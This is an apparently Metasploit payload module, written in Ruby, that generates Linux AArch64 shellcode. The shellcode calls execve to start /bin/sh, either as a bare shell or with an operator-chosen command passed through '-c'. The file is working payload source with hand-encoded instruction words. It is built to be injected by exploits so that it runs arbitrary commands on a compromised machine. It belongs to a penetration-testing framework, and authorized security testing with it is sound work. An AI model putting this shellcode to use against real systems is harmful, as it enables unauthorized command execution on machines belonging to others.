1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 64
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Linux::Aarch64::Prepends
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Linux Execute Command',
17
        'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
18
        'Author' => 'Spencer McIntyre',
19
        'License' => MSF_LICENSE,
20
        'Platform' => 'linux',
21
        'Arch' => ARCH_AARCH64
22
      )
23
    )
24

25
    register_options([
26
      OptString.new('CMD', [ false, 'The command string to execute' ]),
27
    ])
28
  end
29

30
  def generate(_opts = {})
31
    cmd = datastore['CMD'] || ''
32

33
    if cmd.empty?
34
      # execve("/bin/sh", NULL, NULL)
35
      shellcode = [
36
        0x100000a0, # adr x0, sh_str
37
        0xd2800001, # mov x1, #0
38
        0xd2800002, # mov x2, #0
39
        0xd2801ba8, # mov x8, #0xdd # __NR_execve
40
        0xd4000001  # svc #0
41
      ].pack('V*')
42
      shellcode += "/bin/sh\x00"
43
    else
44
      # execve("/bin/sh", ["/bin/sh", "-c", CMD, NULL], NULL)
45
      shellcode = [
46
        0x10000160, # adr x0, sh_str
47
        0x10000189, # adr x9, c_str
48
        0x1000018a, # adr x10, cmd_str
49
        0xf90003e0, # str x0, [sp, #0]   ; argv[0] = "/bin/sh"
50
        0xf90007e9, # str x9, [sp, #8]   ; argv[1] = "-c"
51
        0xf9000bea, # str x10, [sp, #16] ; argv[2] = CMD
52
        0xf9000fff, # str xzr, [sp, #24] ; argv[3] = NULL
53
        0x910003e1, # mov x1, sp
54
        0xd2800002, # mov x2, #0
55
        0xd2801ba8, # mov x8, #0xdd # __NR_execve
56
        0xd4000001  # svc #0
57
      ].pack('V*')
58
      shellcode += "/bin/sh\x00"
59
      shellcode += "-c\x00\x00"
60
      shellcode += cmd + "\x00"
61
    end
62

63
    # align our shellcode to 4 bytes
64
    shellcode += "\x00" while shellcode.bytesize % 4 != 0
65

66
    super.to_s + shellcode
67
  end
68
end
69

70